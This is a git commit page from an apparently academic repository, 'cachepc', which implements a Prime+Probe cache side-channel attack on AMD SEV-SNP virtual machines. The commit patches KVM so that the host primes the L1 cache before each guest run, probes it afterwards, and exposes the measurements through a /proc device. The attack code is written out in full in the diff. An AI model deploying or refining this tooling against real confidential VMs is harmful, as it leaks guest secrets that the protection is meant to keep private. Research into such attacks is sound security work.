cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

commit 2558cb66b59aae1578fc46ff8edf5d7cf9383037
parent c80d9518901eac7547b462ec4e79125c6913b378
Author: Louis Burda <quent.burda@gmail.com>
Date:   Mon, 25 Jul 2022 22:51:20 +0200

Added proc device for reading counts

Diffstat:
M.gitignore | 1+
MMakefile | 3+--
Mpatch.diff | 124+++++++++++++++++++++++++++++++++++++++++++++++++------------------------------
Msrc/cachepc.c | 13++++++++++---
Msrc/cachepc.h | 5++++-
5 files changed, 93 insertions(+), 53 deletions(-)

diff --git a/.gitignore b/.gitignore @@ -1,3 +1,4 @@ build.sh +push.sh *.o.cmd *.o diff --git a/Makefile b/Makefile @@ -18,8 +18,7 @@ prepare: $(KERNEL_SOURCE)/arch/x86/kvm/svm/cachepc git -C $(KERNEL_SOURCE) apply $(PWD)/patch.diff build: - # $(MAKE) -C $(KERNEL_SOURCE) arch/x86/kvm/kvm.ko arch/x86/kvm/kvm-amd.ko - $(MAKE) -C $(KERNEL_SOURCE) -v modules -j6 SUBDIRS=arch/x86/kvm + #$(MAKE) -C $(KERNEL_SOURCE) arch/x86/kvm/kvm.ko arch/x86/kvm/kvm-amd.ko $(MAKE) -C $(KERNEL_SOURCE) -j6 M=arch/x86/kvm load: diff --git a/patch.diff b/patch.diff @@ -24,7 +24,7 @@ index b804444e16d4..c94f8c4460f1 100644 obj-$(CONFIG_KVM) += kvm.o obj-$(CONFIG_KVM_INTEL) += kvm-intel.o diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c -index 7b3cfbe8f7e3..e9a2b1048e28 100644 +index 7b3cfbe8f7e3..71697d08e9e4 100644 --- a/arch/x86/kvm/svm/svm.c +++ b/arch/x86/kvm/svm/svm.c @@ -2,6 +2,8 @@ @@ -47,55 +47,54 @@ index 7b3cfbe8f7e3..e9a2b1048e28 100644 + static int run_index = 0; + struct vcpu_svm *svm; + ++ printk(KERN_WARNING "CachePC: svm_cpu_enter_exit()\n"); ++ + if (!ctx) ctx = cachepc_get_ctx(L1); + if (!ds) ds = cachepc_prepare_ds(ctx); -+ -+ head = cachepc_prime(ds); + svm = to_svm(vcpu); svm->vmcb->save.rax = vcpu->arch.regs[VCPU_REGS_RAX]; svm->vmcb->save.rsp = vcpu->arch.regs[VCPU_REGS_RSP]; svm->vmcb->save.rip = vcpu->arch.regs[VCPU_REGS_RIP]; -@@ -3912,6 +3925,11 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) - if (is_guest_mode(vcpu)) - return EXIT_FASTPATH_NONE; +@@ -3835,8 +3847,14 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) + */ + x86_spec_ctrl_set_guest(svm->spec_ctrl, svm->virt_spec_ctrl); + ++ head = cachepc_prime(ds); ++ + svm_vcpu_enter_exit(vcpu, svm); + cachepc_probe(head); -+ cachepc_print_msrmts(head); ++ //cachepc_print_msrmts(head); ++ cachepc_save_msrmts(head); + + /* + * We do not use IBRS in the kernel. If this vCPU has used the + * SPEC_CTRL MSR it may have left it on; save the value and +@@ -3912,6 +3930,8 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) + if (is_guest_mode(vcpu)) + return EXIT_FASTPATH_NONE; + + run_index += 1; + return svm_exit_handlers_fastpath(vcpu); } -diff --git a/include/linux/kvm_host.h b/include/linux/kvm_host.h -index 7f2e2a09ebbd..762eb35f19e5 100644 ---- a/include/linux/kvm_host.h -+++ b/include/linux/kvm_host.h -@@ -35,6 +35,10 @@ - - #include <asm/kvm_host.h> - -+extern struct proc_dir_entry *cachepc_msrmts_file; -+extern uint8_t cachepc_msrmts[1 << 20]; -+extern uint64_t cachepc_msrmts_count; -+ - #ifndef KVM_MAX_VCPU_ID - #define KVM_MAX_VCPU_ID KVM_MAX_VCPUS - #endif diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c -index 2541a17ff1c4..fd7511484011 100644 +index 2541a17ff1c4..c219a214d904 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c -@@ -51,6 +51,7 @@ +@@ -51,6 +51,9 @@ #include <linux/io.h> #include <linux/lockdep.h> #include <linux/kthread.h> +#include <linux/proc_fs.h> ++#include <linux/init.h> ++#include <asm/uaccess.h> #include <asm/processor.h> #include <asm/ioctl.h> -@@ -66,6 +67,8 @@ +@@ -66,6 +69,8 @@ /* Worst case buffer size needed for holding an integer. */ #define ITOA_MAX_LEN 12 @@ -104,68 +103,99 @@ index 2541a17ff1c4..fd7511484011 100644 MODULE_AUTHOR("Qumranet"); MODULE_LICENSE("GPL"); -@@ -143,6 +146,10 @@ static void hardware_disable_all(void); +@@ -143,6 +148,13 @@ static void hardware_disable_all(void); static void kvm_io_bus_destroy(struct kvm_io_bus *bus); -+struct proc_dir_entry *cachepc_msrmts_file; -+uint8_t cachepc_msrmts[1 << 20]; -+uint64_t cachepc_msrmts_count; ++uint8_t *cachepc_msrmts; ++size_t cachepc_msrmts_count; ++struct proc_ops cachepc_proc_ops; ++ ++EXPORT_SYMBOL(cachepc_msrmts); ++EXPORT_SYMBOL(cachepc_msrmts_count); + __visible bool kvm_rebooting; EXPORT_SYMBOL_GPL(kvm_rebooting); -@@ -4765,10 +4772,29 @@ static void check_processor_compat(void *data) +@@ -4765,6 +4777,50 @@ static void check_processor_compat(void *data) *c->ret = kvm_arch_check_processor_compat(c->opaque); } ++int ++kvm_cachepc_open(struct inode *inode, struct file *file) ++{ ++ try_module_get(THIS_MODULE); ++ ++ return 0; ++} ++ ++int ++kvm_cachepc_close(struct inode *inode, struct file *file) ++{ ++ module_put(THIS_MODULE); ++ ++ return 0; ++} ++ +ssize_t +kvm_cachepc_read(struct file *file, char *buf, size_t buflen, loff_t *off) +{ -+ size_t len; ++ size_t len, left; + -+ printk(KERN_INFO "Reading cachepc proc file\n"); ++ printk(KERN_WARNING "CacheSC: Reading entries (%lu:%lli)\n", ++ buflen, off ? *off : 0); + -+ if (*off >= cachepc_msrmts_count) ++ if (!off || *off >= cachepc_msrmts_count || *off < 0) + return 0; + + len = cachepc_msrmts_count - *off; + if (len > buflen) len = buflen; + -+ memcpy(buf, cachepc_msrmts + *off, len); ++ left = copy_to_user(buf, cachepc_msrmts + *off, len); ++ ++ len -= left; ++ *off += len; + + return len; +} + ++ssize_t ++kvm_cachepc_write(struct file *file, const char *buf, size_t buflen, loff_t *off) ++{ ++ return 0; ++} ++ int kvm_init(void *opaque, unsigned vcpu_size, unsigned vcpu_align, struct module *module) { - struct kvm_cpu_compat_check c; -+ struct proc_ops proc_ops; - int r; - int cpu; - -@@ -4848,6 +4874,15 @@ int kvm_init(void *opaque, unsigned vcpu_size, unsigned vcpu_align, +@@ -4848,6 +4904,20 @@ int kvm_init(void *opaque, unsigned vcpu_size, unsigned vcpu_align, r = kvm_vfio_ops_init(); WARN_ON(r); + cachepc_init_counters(); -+ cachepc_msrmts_count = 0; + -+ //memset(&proc_ops, 0, sizeof(proc_ops)); -+ //proc_ops.proc_read = kvm_cachepc_read; ++ cachepc_msrmts_count = L1_SETS; ++ cachepc_msrmts = kzalloc(cachepc_msrmts_count, GFP_KERNEL); ++ BUG_ON(cachepc_msrmts == NULL); ++ ++ memset(&cachepc_proc_ops, 0, sizeof(cachepc_proc_ops)); ++ cachepc_proc_ops.proc_open = kvm_cachepc_open; ++ cachepc_proc_ops.proc_read = kvm_cachepc_read; ++ cachepc_proc_ops.proc_write = kvm_cachepc_write; ++ cachepc_proc_ops.proc_release = kvm_cachepc_close; + -+ //cachepc_msrmts_file = proc_create("cachepc", 0644, NULL, &proc_ops); -+ //BUG_ON(cachepc_msrmts_file == NULL); ++ proc_create("cachepc", 0644, NULL, &cachepc_proc_ops); + return 0; out_unreg: -@@ -4872,6 +4907,7 @@ EXPORT_SYMBOL_GPL(kvm_init); +@@ -4872,6 +4942,9 @@ EXPORT_SYMBOL_GPL(kvm_init); void kvm_exit(void) { -+ //remove_proc_entry("cachepc", cachepc_msrmts_file); ++ remove_proc_entry("cachepc", NULL); ++ kfree(cachepc_msrmts); ++ debugfs_remove_recursive(kvm_debugfs_dir); misc_deregister(&kvm_dev); kmem_cache_destroy(kvm_vcpu_cache); diff --git a/src/cachepc.c b/src/cachepc.c @@ -95,12 +95,19 @@ cachepc_prepare_ds(cache_ctx *ctx) } void -cachepc_save_msrmts(cacheline *head, const char *prefix, int index) +cachepc_save_msrmts(cacheline *head) { - char filename[256]; + cacheline *curr_cl; - snprintf(filename, sizeof(filename), "%s.%i", prefix, index); + curr_cl = head; + do { + if (IS_FIRST(curr_cl->flags)) { + BUG_ON(curr_cl->cache_set >= cachepc_msrmts_count); + cachepc_msrmts[curr_cl->cache_set] = curr_cl->count; + } + curr_cl = curr_cl->prev; + } while (curr_cl != head); } void diff --git a/src/cachepc.h b/src/cachepc.h @@ -15,7 +15,7 @@ void cachepc_init_counters(void); cache_ctx *cachepc_get_ctx(cache_level cl); cacheline *cachepc_prepare_ds(cache_ctx *ctx); -void cachepc_save_msrmts(cacheline *head, const char *prefix, int index); +void cachepc_save_msrmts(cacheline *head); void cachepc_print_msrmts(cacheline *head); void cachepc_release_ds(cache_ctx *ctx, cacheline *ds); void cachepc_release_ctx(cache_ctx *ctx); @@ -32,6 +32,9 @@ static inline cacheline *cachepc_probe_set(cacheline *curr_cl); __attribute__((always_inline)) static inline cacheline *cachepc_probe(cacheline *head); +extern uint8_t *cachepc_msrmts; +extern size_t cachepc_msrmts_count; + /* * Prime phase: fill the target cache (encoded in the size of the data structure) * with the prepared data structure, i.e. with attacker data.